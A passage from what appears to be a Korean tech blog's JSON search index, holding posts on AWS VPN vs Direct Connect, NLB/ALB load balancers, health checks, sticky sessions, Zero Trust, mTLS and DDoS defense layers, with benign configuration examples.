거치지 않으므로 레이턴시 변동이 적다. 금융 거래, 실시간 데이터 동기화처럼 레이턴시에 민감한 워크로드에 적합하다.\n높은 대역폭: 1Gbps, 10Gbps, 100Gbps 옵션이 있다.\n데이터 전송 비용 절감: Direct Connect를 통한 데이터 아웃바운드 비용이 인터넷 경유보다 저렴하다. 대용량 데이터를 지속적으로 전송하는 경우 비용 절감 효과가 크다.\n비용과 구축 기간 Direct Connect Location까지 회선을 끌어오는 비용, AWS 포트 비용(시간당), 데이터 전송 비용이 발생한다. 초기 구축 비용이 크고 실제 연결이 완료되기까지 수 주에서 수 개월이 걸린다.\n비교 Site-to-Site VPN Direct Connect 경로 인터넷 (암호화) 전용 회선 설정 기간 수 시간 수 주 ~ 수 개월 초기 비용 낮음 높음 대역폭 ~1.25Gbps (터널당) 최대 100Gbps 레이턴시 변동 있음 일관적 가용성 인터넷 의존 전용 회선 의존 암호화 IPSec 기본 별도 설정 필요 조합 패턴 Direct Connect는 전용 회선이므로 그 회선 자체가 단일 장애점이 될 수 있다. 중요한 환경에서는 Direct Connect + VPN 조합을 쓴다.\n평상시: Direct Connect (메인 경로, 낮은 레이턴시) Direct Connect 장애 시: VPN으로 자동 페일오버 라우팅 우선순위를 Direct Connect가 높게 설정하면, 장애 시 VPN으로 자동 전환된다. Direct Connect의 안정성과 VPN의 인터넷 백업을 결합한 패턴이다.\n선택 기준 VPN으로 시작하고 Direct Connect를 검토하는 것이 일반적이다. 다음 조건에 해당하면 Direct Connect를 고려한다.\n온프렘 ↔ AWS 간 데이터 전송량이 매달 수 TB 이상 레이턴시 변동이 서비스 품질에 영향을 주는 경우 인터넷 의존 VPN의 가용성이 SLA를 충족하지 못하는 경우 규제나 보안 정책상 트래픽이 인터넷을 경유하면 안 되는 경우 ","permalink":"https://charminggroot.github.io/posts/041-vpn-direct-connect/","summary":"온프렘 데이터센터와 AWS VPC를 연결할 때 AWS Site-to-Site VPN 또는 AWS Direct Connect를 쓴다. VPN은 인터넷 위에 암호화 터널을 만드는 방식으로 빠르게 설정할 수 있고, Direct Connect는 AWS와 전용 물리 회선을 연결하는 방식으로 안정적인 대역폭과 낮은 레이턴시를 제공한다. 둘의 차이와 선택 기준을 설명한다.","title":"041. VPN vs Direct Connect — 온프렘과 클라우드를 연결하는 두 가지 방법"},{"content":"트래픽이 서버 한 대로 몰리면 처리 한계에 부딪힌다. 로드밸런서는 여러 서버에 트래픽을 나눠 보내는 역할을 한다. 어떻게 나눌지는 로드밸런서가 어느 계층의 정보를 볼 수 있느냐에 달려 있다.\nL4 로드밸런서 — TCP/UDP 레벨 L4(전송 계층) 로드밸런서는 IP 주소와 포트 번호만 본다. HTTP 헤더나 URL 같은 내용은 보지 않는다. 패킷을 열어보지 않고 연결을 통째로 특정 서버로 전달한다.\nAWS에서는 NLB(Network Load Balancer) 가 L4다.\n클라이언트 → NLB (1.2.3.4:443) → 서버 A (10.0.1.5:443) → 서버 B (10.0.1.6:443) NLB는 연결(TCP 세션)을 서버에 고정시킨다. 같은 클라이언트의 패킷은 같은 서버로 간다.\nNLB의 특징 Ultra-low latency: 패킷 내용을 분석하지 않아 처리가 빠르다. 초당 수백만 연결을 처리할 수 있다.\n클라이언트 IP 보존: 서버가 실제 클라이언트 IP를 그대로 본다. ALB는 X-Forwarded-For 헤더로 원본 IP를 전달하는 반면, NLB는 IP 자체를 보존한다.\nTCP/UDP/TLS 지원: HTTP 외 프로토콜도 처리한다. gRPC, WebSocket, 게임 서버처럼 HTTP가 아닌 TCP 기반 프로토콜에 쓴다.\n고정 IP: NLB는 AZ별로 고정 IP(Elastic IP)를 붙일 수 있다. IP 화이트리스트가 필요한 경우(금융 시스템 등) NLB를 써야 한다.\nL7 로드밸런서 — HTTP 레벨 L7(응용 계층) 로드밸런서는 HTTP 요청의 내용을 읽는다. URL 경로, 호스트 헤더, HTTP 메서드, 쿠키를 보고 라우팅 결정을 내린다.\nAWS에서는 ALB(Application Load Balancer) 가 L7이다.\n클라이언트 → ALB /api/* → API 서버 그룹 (10.0.1.x) /static/* → 정적 파일 서버 그룹 (10.0.2.x) app1.example.com → 서비스 A app2.example.com → 서비스 B ALB의 특징 콘텐츠 기반 라우팅: URL 경로, 호스트명, HTTP 헤더, 쿼리 파라미터, HTTP 메서드로 라우팅할 타깃 그룹을 결정한다.\n규칙 1: Host = api.example.com → Target Group: API 서버 규칙 2: Path = /admin/* → Target Group: Admin 서버 규칙 3: 기본 → Target Group: 프론트엔드 서버 HTTPS 종료(TLS Termination): ALB에서 HTTPS를 종료하고 내부는 HTTP로 통신한다. 인증서 관리를 ALB에서 집중한다. cert-manager 없이 ACM(AWS Certificate Manager)으로 인증서를 자동 갱신할 수 있다.\n인증 통합: Cognito나 OIDC 프로바이더와 연동해 ALB 레벨에서 인증을 처리할 수 있다. 앱 서버가 인증 로직을 직접 가지지 않아도 된다.\nWebSocket, HTTP/2 지원: ALB는 WebSocket 업그레이드와 HTTP/2를 지원한다.\nX-Forwarded-For: 원본 클라이언트 IP가 X-Forwarded-For 헤더에 담겨 백엔드로 전달된다.\n비교 NLB (L4) ALB (L7) 동작 계층 TCP/UDP HTTP/HTTPS 라우팅 기준 IP + 포트 URL, 호스트, 헤더 레이턴시 매우 낮음 NLB보다 약간 높음 고정 IP 가능 (Elastic IP) 불가 (DNS 이름만) TLS 종료 가능 (pass-through도 가능) 가능 프로토콜 TCP, UDP, TLS HTTP, HTTPS WebSocket 가능 (TCP 레벨) 가능 (HTTP 업그레이드) 인증 통합 불가 Cognito/OIDC 선택 기준 HTTP/HTTPS 서비스라면 ALB가 기본 선택이다. 콘텐츠 기반 라우팅, TLS 종료, 인증 통합이 실용적이다. k8s Ingress Controller를 ALB로 쓰는 경우(AWS Load Balancer Controller)가 대표적이다.\n다음 경우에는 NLB를 쓴다.\nHTTP가 아닌 TCP/UDP 프로토콜 (gRPC, 게임 서버, DB 프록시) 고정 IP가 필요한 경우 (파트너사 IP 화이트리스트) 극단적으로 낮은 레이턴시가 필요한 경우 클라이언트 IP를 원본 그대로 서버에 전달해야 하는 경우 ","permalink":"https://charminggroot.github.io/posts/042-l4-l7-load-balancer/","summary":"로드밸런서는 들어오는 트래픽을 여러 서버에 분산한다. OSI 모델의 어느 계층에서 동작하느냐에 따라 L4와 L7으로 나뉜다. L4는 TCP/UDP 레벨에서, L7은 HTTP 내용을 보고 라우팅 결정을 내린다. AWS의 NLB와 ALB를 기준으로 각각 언제 쓰는지 설명한다.","title":"042. L4 vs L7 로드밸런서 — NLB와 ALB"},{"content":"서버가 죽었는데 로드밸런서가 계속 트래픽을 보내면 요청이 실패한다. 서버를 배포하기 위해 내릴 때 기존 요청을 처리 중인 연결을 강제로 끊으면 사용자 입장에서 오류가 난다. 헬스체크와 Connection Draining은 이 두 문제를 해결한다.\nHealth Check 로드밸런서는 주기적으로 각 서버에 헬스체크 요청을 보낸다. 응답이 정상이면 트래픽을 보내고, 비정상이면 해당 서버를 타깃 그룹에서 제외한다.\nALB 헬스체크 설정: 프로토콜: HTTP 경로: /health 포트: 8080 정상 임계값: 연속 2번 성공 비정상 임계값: 연속 3번 실패 타임아웃: 5초 간격: 30초 서버가 연속 3번 실패하면 Unhealthy로 표시되고 트래픽이 끊긴다. 이후 다시 연속 2번 성공하면 트래픽이 재개된다.\n헬스체크 엔드포인트 설계 단순히 HTTP 200을 반환하는 것 이상으로 설계하는 것이 좋다.\n// 얕은 헬스체크: 프로세스가 살아있는지만 확인 GET /health → 200 OK // 깊은 헬스체크: DB, 캐시 연결까지 확인 GET /health/ready { \u0026#34;status\u0026#34;: \u0026#34;ok\u0026#34;, \u0026#34;db\u0026#34;: \u0026#34;connected\u0026#34;, \u0026#34;cache\u0026#34;: \u0026#34;connected\u0026#34; } 로드밸런서 헬스체크는 얕은 체크가 맞다. DB 연결을 확인하는 깊은 체크를 로드밸런서에 연결하면, DB가 잠깐 느려질 때 모든 서버가 Unhealthy로 빠지는 사태가 생긴다.\n깊은 헬스체크는 k8s의 Readiness/Liveness Probe처럼 파드 레벨에서 별도로 관리하는 것이 맞다. 로드밸런서 헬스체크 경로(/health)는 프로세스 기동 확인 수준으로 단순하게 유지한다.\n배포 시 활용 새 버전을 배포할 때:\n새 인스턴스/파드 기동 시작 헬스체크 통과할 때까지 대기 (Healthy 상태 진입) 로드밸런서가 트래픽 전송 시작 이전 버전 서버 제거 시작 (Connection Draining) 헬스체크가 통과하지 않으면 배포가 중단된다. 잘못된 버전이 트래픽을 받기 전에 차단된다.\nConnection Draining (Deregistration Delay) 서버를 타깃 그룹에서 제거할 때, 이미 처리 중인 연결을 강제로 끊으면 오류가 발생한다. Connection Draining은 제거 신호를 받은 서버에 새 연결은 보내지 않고, 기존 연결은 설정된 시간 동안 자연스럽게 완료되길 기다리는 메커니즘이다.\n배포 시 흐름: 1. 서버를 타깃 그룹에서 deregister 요청 2. 로드밸런서: 이 서버로 새 연결 전송 중단 3. 기존 진행 중인 요청은 계속 처리 4. Deregistration Delay (기본 300초) 동안 기다림 5. 딜레이 이내에 모든 연결 종료되면 즉시 제거 딜레이 초과하면 강제 종료 후 제거 6. 서버 셧다운 AWS ALB 설정: Deregistration Delay: 300초 (기본값, 0~3600 사이 설정 가능) 딜레이 값 설정 API 서버처럼 요청 처리 시간이 짧은 경우 30~60초면 충분하다. 배치 처리나 파일 업로드처럼 오래 걸리는 요청이 있으면 더 길게 설정한다.\n배포 파이프라인 타임아웃과 맞춰야 한다. Deregistration Delay가 300초인데 배포 스텝 타임아웃이 120초면, 딜레이가 끝나기 전에 파이프라인이 실패한다.\nEKS에서는 파드 종료 전에 로드밸런서에서 제거되는 타이밍을 맞추는 것이 중요하다. preStop 훅에 sleep을 넣어 로드밸런서 deregistration이 완료될 때까지 기다리는 패턴이 흔하다.\nlifecycle: preStop: exec: command: [\u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;sleep 10\u0026#34;] # deregistration 완료 대기 트레이드오프 헬스체크 간격을 짧게 하면 장애 감지가 빠르지만 서버 부하가 늘고, 헬스체크 트래픽 비용도 증가한다. 간격을 길게 하면 장애 감지가 느려진다. 비정상 임계값을 낮추면 일시적인 느린 응답에도 Unhealthy로 빠질 수 있다. 서비스 특성에 맞는 값을 튜닝해야 한다.\nConnection Draining 시간이 길면 배포 속도가 느려진다. 서버 10대를 순차적으로 교체하면서 각각 300초를 기다리면 배포에 50분이 걸린다. 딜레이를 짧게 하거나, 병렬로 여러 서버를 동시에 교체하는 방식을 조합해 배포 시간을 조정한다.\n","permalink":"https://charminggroot.github.io/posts/043-health-check-connection-draining/","summary":"로드밸런서는 헬스체크로 서버가 정상인지 확인하고, 비정상 서버로는 트래픽을 보내지 않는다. Connection Draining은 서버를 내릴 때 기존 연결을 끊지 않고 자연스럽게 처리가 끝나길 기다린다. 이 두 메커니즘이 무중단 배포와 자동 장애 복구의 기반이 된다.","title":"043. Health Check \u0026 Connection Draining — 로드밸런서의 무중단 배포 기반"},{"content":"로그인한 사용자 정보를 서버 메모리에 저장하는 앱이 있다. 첫 번째 요청에서 서버 A가 세션을 만들었는데, 두 번째 요청이 서버 B로 가면 세션을 찾지 못해 로그인이 풀린다. Sticky Session은 이 문제를 \u0026ldquo;같은 사용자는 항상 서버 A로 보내자\u0026quot;는 방식으로 해결한다.\n동작 방식 ALB의 경우 쿠키를 이용한다. 첫 번째 응답에 AWSALB 쿠키를 심고, 이후 요청은 쿠키값을 보고 같은 타깃으로 라우팅한다.\n1. 클라이언트 → ALB → 서버 A (세션 생성) 응답에 Set-Cookie: AWSALB=xxxxx; Max-Age=86400 2. 클라이언트 → ALB (Cookie: AWSALB=xxxxx) → 서버 A (쿠키 보고 고정) 3. 클라이언트 → ALB (Cookie: AWSALB=xxxxx) → 서버 A ALB 타깃 그룹 설정: Stickiness: 활성화 Duration: 1일 (쿠키 유효 기간) 왜 문제인가 부하 불균형 특정 서버에 세션이 몰리면 그 서버만 과부하가 걸린다. 새 서버를 추가해도 기존 세션이 거기로 가지 않는다. Auto Scaling으로 서버를 추가했는데 새 서버는 한가하고 기존 서버는 여전히 과부하인 상황이 생긴다.\n수평 확장의 어려움 서버를 내려야 할 때 그 서버에 붙어있는 모든 사용자 세션이 끊어진다. Connection Draining은 HTTP 연결 수준의 처리인데, 세션 자체가 사라지는 것은 막지 못한다. 배포나 장애 시 로그인이 풀린다.\n테스트와 디버깅 어려움 로드밸런서 뒤에서 특정 서버의 동작을 재현하기 어렵다. 어떤 서버로 요청이 갔는지 확인해야 한다.\n근본 해결책 — Stateless 서버 Sticky Session이 필요한 근본 원인은 서버가 상태를 로컬 메모리에 들고 있기 때문이다. 상태를 외부 저장소로 이전하면 어떤 서버가 요청을 처리해도 같은 결과가 나온다.\n# 이전: 서버 메모리에 세션 저장 서버 A 메모리: {\u0026#34;user123\u0026#34;: {name: \u0026#34;홍길동\u0026#34;, cart: [...]}} # 이후: Redis에 세션 저장 Redis: {\u0026#34;session:abc123\u0026#34;: {userId: \u0026#34;user123\u0026#34;, name: \u0026#34;홍길동\u0026#34;, cart: [...]}} 모든 서버가 Redis에서 읽음 → 어느 서버로 가도 상관없음 JWT를 쓰면 아예 서버 쪽에 세션 저장소가 필요 없다. 클라이언트가 토큰을 들고 있고, 서버는 토큰을 검증만 한다. 완전한 stateless다.\n불가피하게 써야 할 때 레거시 앱을 당장 바꾸기 어렵거나, WebSocket처럼 연결 유지가 필요한 경우 단기적으로 쓸 수 있다.\nWebSocket은 서버와 클라이언트가 지속 연결을 유지하므로 같은 서버로 고정돼야 한다. 다만 이 경우는 \u0026ldquo;세션 상태\u0026rdquo; 문제가 아니라 \u0026ldquo;프로토콜 특성\u0026rdquo; 때문이다. Socket.io 같은 라이브러리는 Redis Pub/Sub을 이용해 여러 서버 간 WebSocket 메시지를 브로드캐스트하는 방식으로 Sticky Session 없이 동작하도록 설계할 수도 있다.\n트레이드오프 Sticky Session을 쓰더라도 서버가 죽으면 세션이 날아간다는 근본 문제는 해결되지 않는다. 로드밸런서 쿠키는 \u0026ldquo;이 서버로 보내달라는 힌트\u0026quot;이지, 서버 내 데이터를 보장하지 않는다. 고가용성이 중요한 서비스라면 Sticky Session은 임시방편이고, Redis 같은 외부 세션 저장소가 정답이다.\n","permalink":"https://charminggroot.github.io/posts/044-sticky-session/","summary":"Sticky Session은 같은 클라이언트의 요청이 항상 같은 서버로 가도록 로드밸런서가 보장하는 기능이다. 서버가 세션 상태를 메모리에 들고 있는 경우 필요하지만, 부하 불균형과 수평 확장 어려움이라는 근본적인 문제를 가진다. 왜 피해야 하는지, 불가피할 때 어떻게 쓰는지 설명한다.","title":"044. Sticky Session — 로드밸런서에서 같은 서버로 고정하기"},{"content":"전통적인 보안 모델은 성과 해자(moat) 비유로 설명된다. 방화벽이 해자이고, 일단 안에 들어오면 신뢰한다. 내부 네트워크에서 오는 요청은 별도 인증 없이 통과된다. 이 모델의 전제는 \u0026ldquo;내부 네트워크는 안전하다\u0026quot;는 것이다.\n이 전제가 흔들렸다. 클라우드가 도입되면서 내부/외부 경계가 흐려졌다. 직원이 카페에서 SaaS를 쓰고, 파트너사가 VPN으로 내부에 접근하고, 마이크로서비스가 서로를 호출한다. 한 번 침투하면 내부에서 자유롭게 이동할 수 있는 구조가 됐다.\nZero Trust는 이 구조를 뒤집는다. \u0026ldquo;절대 신뢰하지 말고, 항상 검증하라(Never Trust, Always Verify)\u0026rdquo;.\n핵심 원칙 위치(IP)가 아니라 아이덴티티로 인증한다. 내부 IP에서 왔다는 것만으로 신뢰하지 않는다. 요청자가 누구인지, 어떤 디바이스에서 왔는지를 확인한다.\n최소 권한 접근: 필요한 리소스에만, 필요한 시간 동안만 접근을 허용한다. 한 서비스가 침해돼도 다른 서비스로 이동하기 어렵게 만든다.\n매 요청을 검증한다. 한 번 인증했다고 이후 모든 요청을 신뢰하지 않는다. 컨텍스트(디바이스 상태, 위치, 시간)를 계속 확인한다.\n명시적으로 검증한다. 암묵적인 신뢰(내부 네트워크니까, VPN 연결됐으니까) 대신 모든 접근을 명시적으로 허용한다.\nGoogle BeyondCorp Zero Trust의 가장 유명한 실제 구현이다. Google은 2010년대 초부터 내부 네트워크 개념을 없애고 모든 직원이 인터넷에서 직접 내부 서비스에 접근하는 구조를 만들었다.\n전통 방식: 직원 → VPN 연결 → 내부 네트워크 → 서비스 (내부 IP이므로 신뢰) BeyondCorp: 직원 → 인터넷 → Access Proxy → 사용자 아이덴티티 확인 (Google 계정) → 디바이스 상태 확인 (관리 디바이스인지, 최신 패치인지) → 접근 정책 평가 (이 사용자가 이 서비스에 접근 가능한지) → 허용되면 서비스로 포워딩 VPN 없이 인터넷에서 직접 접근하지만, 모든 요청에서 아이덴티티와 디바이스 상태를 검증한다. 카페에서 접근하든 사무실에서 접근하든 동일한 정책이 적용된다.\n구현 요소 아이덴티티 기반 접근 (IAP — Identity-Aware Proxy) AWS의 경우 ALB + Cognito, 또는 IAP 서비스(BeyondCorp Enterprise, Cloudflare Access)가 이 역할을 한다. 앱 앞에 프록시를 두고, 모든 요청에서 인증을 강제한다. 내부 서비스 URL이 외부에 노출돼 있어도 인증 없이는 접근이 안 된다.\n서비스 간 mTLS 사람의 접근뿐 아니라 서비스 간 통신도 검증한다. 서비스 A가 서비스 B를 호출할 때 mTLS로 양방향 인증한다. IP 기반 신뢰를 없애고 서비스 아이덴티티(인증서)로 신뢰를 확립한다. Istio 같은 서비스 메시가 이를 자동화한다.\n마이크로세그멘테이션 네트워크를 세밀하게 나눠 서비스 간 통신을 제한한다. k8s의 NetworkPolicy가 이 역할을 한다. 모든 파드가 서로 통신 가능한 기본 상태에서, 필요한 통신만 명시적으로 허용하는 화이트리스트 방식으로 전환한다.\n디바이스 신뢰 사용자 인증뿐 아니라 디바이스도 검증한다. MDM(Mobile Device Management)으로 관리되는 디바이스, 최신 OS 패치가 적용된 디바이스인지 확인한다. 개인 디바이스나 패치가 안 된 디바이스에서 오는 요청은 제한하거나 차단한다.\n트레이드오프 Zero Trust는 보안 수준을 높이지만 구현 복잡도가 크게 늘어난다. 모든 서비스에 인증 레이어를 붙이고, 인증서를 관리하고, 정책을 유지해야 한다. 개발 환경에서도 같은 정책을 적용하면 개발 속도가 느려진다.\n레이턴시도 늘어난다. 매 요청마다 정책 평가가 추가된다. 정책 평가 서버가 병목이 되거나 장애가 나면 전체 서비스 접근이 막힌다. 정책 서버 자체의 고가용성이 중요해진다.\n전면 도입보다 가장 중요한 리소스부터 점진적으로 적용하는 것이 현실적이다. 외부 노출 서비스, 민감한 내부 서비스부터 시작해 범위를 넓혀간다.\n","permalink":"https://charminggroot.github.io/posts/045-zero-trust/","summary":"전통적인 보안 모델은 내부 네트워크를 신뢰했다. 방화벽 안에 들어오면 내부 서비스에 자유롭게 접근할 수 있었다. Zero Trust는 이 전제를 버린다. 위치(IP)가 아니라 아이덴티티를 기반으로 매 요청을 검증한다. 왜 등장했고 어떻게 구현되는지 설명한다.","title":"045. Zero Trust 네트워크 — 내부도 신뢰하지 않는다"},{"content":"HTTPS로 api.example.com에 접속할 때, 브라우저는 서버의 인증서를 확인해 \u0026ldquo;이 서버가 진짜 example.com이 맞는지\u0026rdquo; 검증한다. 서버는 클라이언트가 누구인지 확인하지 않는다. 이것이 일반 TLS(단방향 인증)다.\nmTLS(mutual TLS, 상호 TLS)는 양쪽이 서로를 인증한다. 서버가 클라이언트 인증서도 요구하고 검증한다. 마이크로서비스 환경에서 \u0026ldquo;이 요청이 실제로 신뢰할 수 있는 서비스에서 왔는가\u0026quot;를 네트워크 레벨에서 보장하는 데 쓰인다.\n동작 방식 일반 TLS: 1. 클라이언트 → 서버: \u0026#34;연결 요청\u0026#34; 2. 서버 → 클라이언트: 서버 인증서 전송 3. 클라이언트: 인증서 검증 (CA 체인 확인) 4. 암호화 통신 시작 mTLS: 1. 클라이언트 → 서버: \u0026#34;연결 요청\u0026#34; 2. 서버 → 클라이언트: 서버 인증서 전송 3. 클라이언트: 서버 인증서 검증 4. 서버 → 클라이언트: \u0026#34;클라이언트 인증서 요청\u0026#34; 5. 클라이언트 → 서버: 클라이언트 인증서 전송 6. 서버: 클라이언트 인증서 검증 (CA 체인 확인) 7. 양방향 검증 완료 → 암호화 통신 시작 클라이언트 인증서가 없거나 신뢰할 수 없는 CA가 서명한 인증서를 가져오면 연결이 거부된다. IP 기반이 아니라 인증서 기반으로 신뢰를 확립한다.\n왜 마이크로서비스에 필요한가 마이크로서비스 환경에서 서비스 A가 서비스 B를 호출할 때, 서비스 B는 이 요청이 실제로 서비스 A에서 왔는지 확인할 방법이 필요하다. IP로 확인하면 k8s에서 파드 IP가 바뀌거나, 공격자가 같은 네트워크에서 요청을 위조할 수 있다. API 키를 쓰면 키 관리와 배포가 번거롭다.\nmTLS는 인증서를 서비스 아이덴티티로 쓴다. \u0026ldquo;이 인증서를 가진 서비스만 나에게 접근할 수 있다\u0026quot;는 정책을 설정한다.\nSPIFFE — 서비스 아이덴티티 표준 SPIFFE(Secure Production Identity Framework For Everyone)는 서비스 아이덴티티를 표준화한 스펙이다. 각 서비스에 SPIFFE ID라는 URI를 부여한다.\nspiffe://cluster.local/ns/production/sa/order-service 이 아이덴티티를 X.509 인증서(SVID, SPIFFE Verifiable Identity Document)에 담는다. 서비스는 이 인증서로 자신을 증명한다.\nSPIRE는 SPIFFE의 구현체다. 각 노드에서 에이전트가 실행되고, 서버가 인증서를 자동으로 발급하고 갱신한다. 개발자가 인증서를 수동으로 관리하지 않아도 된다.\nIstio의 자동 mTLS 서비스마다 mTLS를 직접 설정하는 것은 번거롭다. Istio는 이것을 자동화한다.\n# Istio PeerAuthentication: 이 Namespace의 모든 서비스 간 통신에 mTLS 강제 apiVersion: security.istio.io/v1beta1 kind: PeerAuthentication metadata: name: default namespace: production spec: mtls: mode: STRICT # mTLS가 아닌 연결은 거부 # AuthorizationPolicy: 어떤 서비스가 접근할 수 있는지 apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: order-service-policy namespace: production spec: selector: matchLabels: app: order-service rules: - from: - source: principals: - cluster.local/ns/production/sa/api-gateway # api-gateway만 허용 Istio는 각 파드에 Envoy sidecar를 주입한다. 모든 인바운드/아웃바운드 트래픽이 이 sidecar를 거치며, sidecar가 mTLS 핸드쉐이크와 인증서 관리를 대신한다. 앱 코드는 평범한 HTTP를 쓰면 된다.\n인증서 순환(Rotation) mTLS의 인증서는 짧은 유효기간(수 시간~수 일)으로 자동 갱신된다. 인증서가 유출돼도 빠르게 무효화된다. Istio/SPIRE가 이 갱신을 자동화한다.\n트레이드오프 mTLS는 모든 연결에서 TLS 핸드쉐이크를 수행하므로 레이턴시가 약간 늘어난다. 서비스 간 호출이 많은 마이크로서비스 환경에서는 이 오버헤드가 누적된다. TLS 세션 재사용(session resumption)으로 어느 정도 완화할 수 있다.\n인증서 관리 인프라가 추가된다. SPIRE 서버나 Istio Citadel이 단일 장애점이 되지 않도록 고가용성으로 구성해야 한다. 이 인프라가 내려가면 인증서 갱신이 안 되고, 인증서가 만료되면 서비스 간 통신이 끊긴다.\n","permalink":"https://charminggroot.github.io/posts/046-mtls/","summary":"일반 TLS는 클라이언트가 서버를 인증한다. mTLS(mutual TLS)는 서버도 클라이언트를 인증한다. 마이크로서비스 환경에서 서비스 간 통신이 실제로 신뢰할 수 있는 서비스에서 왔는지 검증하는 데 쓰인다. 동작 원리, SPIFFE/SPIRE 아이덴티티 체계, Istio가 어떻게 자동화하는지 설명한다.","title":"046. mTLS — 서비스 간 양방향 인증서 검증"},{"content":"DDoS는 수많은 장치(봇넷)에서 동시에 요청을 보내 서버의 자원(대역폭, CPU, 연결 수)을 소진시키는 공격이다. 정상 트래픽을 처리할 여력을 없애는 것이 목적이다. 공격 계층에 따라 방어 방법이 다르다.\n공격 유형 L3/L4 — 볼류메트릭 공격 네트워크 대역폭이나 패킷 처리량을 포화시킨다.\nUDP Flood: 대량의 UDP 패킷을 보내 대역폭을 소진한다. DNS amplification 공격이 대표적이다. 작은 DNS 쿼리로 큰 응답을 유발해 피해자에게 증폭된 트래픽을 반사시킨다.\nSYN Flood: TCP 연결 시작(SYN)만 대량으로 보내고 완료(ACK)를 안 한다. 서버의 연결 대기 큐를 꽉 채워 정상 연결을 못 받게 한다.\n이런 공격은 수십~수백 Gbps 규모로 발생한다. 단일 서버나 데이터센터로는 감당이 안 된다.\nL7 — 애플리케이션 레이어 공격 정상적인 HTTP 요청처럼 보이는 트래픽으로 애플리케이션을 과부하시킨다. 적은 트래픽으로도 효과적이어서 방어가 더 어렵다.\nHTTP Flood: 특정 API 엔드포인트에 대량 요청을 보낸다. DB 쿼리를 유발하는 검색 API, 인증 API가 주요 대상이다.\nSlowloris: HTTP 요청을 매우 느리게 보내 서버 연결을 오래 점유한다. 요청을 완성하지 않고 주기적으로 헤더만 조금씩 보내 연결을 유지한다.\n방어 레이어 1. CDN + Anycast (L3/L4 방어) 대규모 CDN(Cloudflare, AWS CloudFront)은 전 세계에 분산된 PoP(Point of Presence)를 가진다. 공격 트래픽이 전 세계 수백 개 노드에 분산 흡수된다.\nAnycast는 같은 IP 주소가 여러 지리적 위치에서 동시에 서비스되는 라우팅 기술이다. 공격 패킷이 가장 가까운 노드로 라우팅되어 분산 처리된다. Cloudflare의 서비스는 Anycast 기반이다.\n공격 트래픽 100Gbps → Anycast로 전 세계 분산 → 각 PoP에서 1~2Gbps만 처리 → 오리진 서버는 정상 트래픽만 받음 2. Rate Limiting (L7 방어) 같은 IP 또는 사용자에서 일정 시간 내에 허용되는 요청 수를 제한한다.\n# nginx rate limiting limit_req_zone $binary_remote_addr zone=api:10m rate=100r/m; location /api/ { limit_req zone=api burst=20 nodelay; limit_req_status 429; } IP 단위 외에도 사용자 ID, API 키, 디바이스 핑거프린트 단위로 제한할 수 있다. 정교한 공격자는 IP를 계속 바꾸므로 IP 단위만으로는 부족하고, 여러 차원을 조합한다.\n3. WAF — Web Application Firewall (L7 방어) HTTP 요청 내용을 분석해 악의적인 패턴을 차단한다. SQL Injection, XSS, 알려진 공격 시그니처를 필터링한다. DDoS뿐 아니라 일반 웹 공격도 막는다.\nAWS WAF는 CloudFront나 ALB 앞에 붙인다.\n규칙 예시: - 요청 속도 기반 규칙: 5분에 2000건 이상 요청하는 IP 차단 - 지리 기반 규칙: 서비스 대상 국가 외 IP 차단 - 봇 관리: 알려진 봇 시그니처 차단, CAPTCHA 적용 - IP 평판 목록: 알려진 악성 IP 차단 4. AWS Shield Shield Standard: 모든 AWS 계정에 기본 포함. L3/L4 공격(SYN flood, UDP flood)을 자동으로 탐지하고 완화한다. 추가 비용 없다.\nShield Advanced: 유료. L7 공격 탐지, DDoS 대응팀(DRT) 24/7 지원, 공격으로 인한 AWS 비용 환급 등을 제공한다. 대규모 서비스나 금융, 게임처럼 DDoS 위험이 높은 업종에 적합하다.\n실무 표준 구성 인터넷 ↓ [CDN / Cloudflare / AWS CloudFront] - Anycast로 L3/L4 볼류메트릭 흡수 - WAF로 L7 공격 필터링 - Rate Limiting ↓ [ALB] - AWS WAF 연동 - Security Group으로 CDN IP만 허용 (오리진 직접 공격 차단) ↓ [앱 서버] - 애플리케이션 레벨 Rate Limiting - 비정상 패턴 로깅 및 알람 오리진 서버 IP를 CDN 뒤에 숨기는 것이 기본이다. 오리진 IP가 노출되면 CDN을 우회해서 직접 공격할 수 있다. ALB Security Group에서 CDN IP 대역만 허용하면 CDN을 거치지 않는 트래픽을 차단할 수 있다.\n트레이드오프 Rate Limiting은 정상 사용자를 오탐(false positive)으로 막을 위험이 있다. 임계값을 너무 낮게 잡으면 배치 처리나 API 헤비 유저가 차단된다. 임계값을 높이면 공격이 더 많이 통과된다. 서비스 트래픽 패턴을 분석해 임계값을 조정해야 한다.\nL7 공격은 정상 요청과 구분이 어렵다. 특히 분산된 봇넷이 각 IP에서 적은 요청을 보내면 IP 기반 Rate Limiting으로는 잡기 어렵다. 행동 분석(짧은 세션, 비인간적 패턴), CAPTCHA, 디바이스 핑거프린팅 등 추가 계층이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/047-ddos-defense/","summary":"DDoS(Distributed Denial of Service)는 대량의 트래픽으로 서비스를 마비시키는 공격이다. 공격 유형에 따라 방어 레이어가 다르다. 네트워크 레벨 볼류메트릭 공격, 프로토콜 레벨 공격, 애플리케이션 레벨 공격 각각에 어떤 방어가 적용되는지, 그리고 실무에서 어떤 구성이 표준인지 설명한다.","title":"047. DDoS 방어 레이어 — 볼류메트릭 공격부터 애플리케이션 레이어까지"},{"content":"개발팀이 늘고 환경이 많아지면 AWS 콘솔에서 클릭으로 인프라를 만드는 방식의 문제가 드러난다. \u0026ldquo;어떻게 만들었는지\u0026rdquo; 기록이 없고, 재현이 어렵고, 누가 무엇을 바꿨는지 추적이 안 된다. 스테이징과 프로덕션 환경이 언제부터 달라졌는지 모른다.\nIaC는 인프라 구성을 코드로 작성해 버전 관리 시스템(git)에 저장하는 방식이다. 코드 리뷰, CI/CD, 자동화된 배포가 가능해진다.\n선언형 vs 명령형 명령형 (Imperative) \u0026ldquo;어떻게 만들지\u0026quot;를 순서대로 기술한다. AWS CLI 스크립트가 대표적이다.\naws ec2 create-vpc --cidr-block 10.0.0.0/16 VPC_ID=$(aws ec2 describe-vpcs --filters \u0026#34;Name=cidr,Values=10.0.0.0/16\u0026#34; --query \u0026#39;Vpcs[0].VpcId\u0026#39; --output text) aws ec2 create-subnet --vpc-id $VPC_ID --cidr-block 10.0.1.0/24 aws ec2 create-internet-gateway IGW_ID=$(...) aws ec2 attach-internet-gateway --vpc-id $VPC_ID --internet-gateway-id $IGW_ID 현재 상태를 모른다. 이미 VPC가 있을 때 다시 실행하면 중복 